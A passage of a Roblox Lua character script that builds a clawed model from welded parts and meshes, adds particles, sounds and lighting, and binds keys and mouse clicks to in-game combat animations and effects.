  2570. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2571. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2572. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2573. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2574. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  2575. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2576. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2577. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2578. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2579. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2580. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2581. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2582. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2583. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2584. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2585. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2586. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2587.  
  2588. local modelzorz3=Instance.new("Model")
  2589. modelzorz3.Parent=Character
  2590. modelzorz3.Name="Eye"
  2591.  
  2592. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2593. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2594. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2595. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2596. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2597. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  2598. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2599. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2600. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  2601. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
  2602. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2603. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  2604. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  2605. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2606. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  2607. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2608. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  2609. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2610. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2611. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2612. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  2613. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2614. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  2615. local moosick = it("Sound",Character)
  2616. moosick.SoundId = "rbxassetid://175111403"
  2617. --441435569, 839374382
  2618. moosick.Looped = true
  2619. moosick.Pitch = 0.9775
  2620. moosick.Volume = 1.5
  2621. moosick:Play()
  2622.  
  2623. anim = Character:findFirstChild("Animate")
  2624. if anim then
  2625. anim:Destroy()
  2626. end
  2627.  
  2628. local particleemitter = Instance.new("ParticleEmitter", Handle)
  2629. particleemitter.VelocitySpread = 180
  2630. particleemitter.Lifetime = NumberRange.new(0.1)
  2631. particleemitter.Speed = NumberRange.new(2)
  2632. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2633. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2634. particleemitter.Rate = 100
  2635. particleemitter.Rotation = NumberRange.new(-45, 45)
  2636. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2637. particleemitter.LightEmission = 0.8
  2638. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2639.  
  2640. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  2641. particleemitter.VelocitySpread = 180
  2642. particleemitter.Lifetime = NumberRange.new(0.1)
  2643. particleemitter.Speed = NumberRange.new(2)
  2644. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2645. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2646. particleemitter.Rate = 100
  2647. particleemitter.Rotation = NumberRange.new(-45, 45)
  2648. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2649. particleemitter.LightEmission = 0.8
  2650. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2651.  
  2652. local particleemitter = Instance.new("ParticleEmitter", handle)
  2653. particleemitter.VelocitySpread = 180
  2654. particleemitter.Lifetime = NumberRange.new(0.1)
  2655. particleemitter.Speed = NumberRange.new(2)
  2656. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  2657. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2658. particleemitter.Rate = 100
  2659. particleemitter.Rotation = NumberRange.new(-45, 45)
  2660. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2661. particleemitter.LightEmission = 0.8
  2662. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2663.  
  2664. local light = Instance.new("PointLight", Character.Torso)
  2665. light.Color = Color3.new(255,255,255)
  2666. light.Brightness = 5
  2667. light.Range = 15
  2668.  
  2669. particleemitter.Enabled = true
  2670.  
  2671. local Footsteps = it("Sound",Character.Torso)
  2672. Footsteps.SoundId = "rbxassetid://142665235"
  2673. Footsteps.Looped = true
  2674. Footsteps.Pitch = 0.8
  2675. Footsteps.Volume = 0.3
  2676.  
  2677. local Footsteps2 = it("Sound",Character.Torso)
  2678. Footsteps2.SoundId = "rbxassetid://142665235"
  2679. Footsteps2.Looped = true
  2680. Footsteps2.Pitch = 1
  2681. Footsteps2.Volume = 0.4
  2682.  
  2683. local cam = game.Workspace.CurrentCamera
  2684.  
  2685. --cam.CameraSubject = Character
  2686.  
  2687. for i,v in pairs(Head:children()) do
  2688. if v:IsA("Sound") then
  2689. v:Destroy()
  2690. end
  2691. end
  2692.  
  2693. mouse.Button1Down:connect(function()
  2694. if attack==false and attacktype==1 then
  2695. attacktype=2
  2696. attackone()
  2697. elseif attack==false and attacktype==2 then
  2698. attacktype=3
  2699. attacktwo()
  2700. elseif attack==false and attacktype==3 then
  2701. attacktype=4
  2702. attackthree()
  2703. elseif attack==false and attacktype==4 then
  2704. attacktype=1
  2705. attackfour()
  2706. end
  2707. end)
  2708.  
  2709. mouse.KeyDown:connect(function(k)
  2710. k=k:lower()
  2711. if k=='e' then
  2712. if attack==false and mana>=20 then
  2713. Push()
  2714. end
  2715. elseif k=='g' then
  2716. if attack==false and mana>=50 then
  2717. Twirl()
  2718. end
  2719. elseif k=='v' then
  2720. if attack==false and mana>=25 then
  2721. MagicJump()
  2722. end
  2723. elseif k=='c' then
  2724. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2725. attack=true
  2726. for i = 1, 40 do
  2727. swait()
  2728. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2729. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2730. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2731. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2732. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2733. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2734. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2735. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2736. end
  2737. Blaze()
  2738. attack = false
  2739. end
  2740. elseif k=='x' then
  2741. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2742. attack=true
  2743. for i = 1, 15 do
  2744. swait()
  2745. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2746. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2747. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2748. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2749. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2750. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2751. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2752. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2753. end
  2754. so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35)
  2755. so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65)
  2756. for i = 0, 30 do
  2757. BlastEffect(BrickColor.new("Really black"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5)
  2758. wait(0.1)
  2759. end
  2760. local parteffected = Instance.new("Part",tors)
  2761. parteffected.Transparency = 1
  2762. parteffected.Position = tors.Position
  2763. parteffected.CanCollide = false
  2764. parteffected.Anchored = true
  2765. so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5)
  2766. so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4)
  2767. BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15)
  2768. MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,15,15,15,0.05)
  2769. MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05)
  2770. BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30)
  2771. local sbs = Instance.new("BodyPosition", RootPart)
  2772. sbs.P = 3000
  2773. sbs.D = 1000
  2774. sbs.maxForce = Vector3.new(500000, 500000000, 500000)
  2775. sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0)
  2776. for i = 1, 40 do
  2777. swait()
  2778. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2779. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2780. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2781. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2782. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2783. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2784. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2785. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2786. end
  2787. wait(3)
  2788. Blaze2()
  2789. attack = false
  2790. parteffected:Destroy()
  2791. sbs:Destroy()
  2792. end
  2793. elseif k=='q' then
  2794. if attack==false then
  2795. idle=1000
  2796. end
  2797. elseif k=='h' then
  2798. if attack==false then
  2799. mana=100
  2800. end
  2801. elseif k=='y' then
  2802. if attack==false and mana>=100 then
  2803. Shred()
  2804. end
  2805. elseif k=='f' then
  2806. if attack==false and mana>=40 then
  2807. Spin()
  2808. end
  2809. elseif k=='r' then
  2810. if attack==false and mana>=20 then
  2811. Clap()
  2812. end
  2813. elseif k=='t' then
  2814. if attack==false then
  2815. Hai()
  2816. end
  2817. elseif k=='0' then
  2818. if attack==false then
  2819. Humanoid.WalkSpeed=(24)
  2820. end
  2821. elseif k=='j' then
  2822. if attack==false then
  2823. Humanoid.Health = 10
  2824. print("Congrats, you commited suicide.")
  2825. end
  2826. end
  2827. end)
  2828.  
  2829. mouse.KeyDown:connect(function(k)
  2830. if k == "z" and Ultramode == false then
  2831. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2832. attack = true
  2833. for i = 1, 15 do
  2834. swait()
  2835. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2836. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2837. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2838. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2839. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2840. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2841. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2842. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2843. end
  2844. m:Destroy()
  2845. local m = Instance.new("Model", Character)
  2846. m.Name = "WeaponModel"
  2847. local parta = Instance.new("Part",Character)
  2848. parta.Size = vt(10,10,10)
  2849. parta.BrickColor = BrickColor.new("Really black")
  2850. parta.Material = "Neon"
  2851. parta.Shape = "Ball"
  2852. parta.Transparency = 0
  2853. parta.Anchored = true
  2854. parta.CanCollide = false
  2855. parta.CFrame = tors.CFrame
  2856. Transform()
  2857. parta:Destroy()
  2858.  
  2859. local modelzorzz=Instance.new("Model")
  2860. modelzorzz.Parent=Character
  2861. modelzorzz.Name="Claw1"
  2862.  
  2863. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2864. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2865. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2866. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2867. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2868. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2869. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2870. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2871. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2872. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2873. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2874. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2875. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2876. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2877. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2878. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2879. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2880. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2881. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2882. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  2883. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2884. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2885. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2886. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  2887. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2888. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2889. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2890. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2891. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2892. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2893. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  2894. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2895. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2896. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2897. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2898. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2899. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  2900. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2901. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2902. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
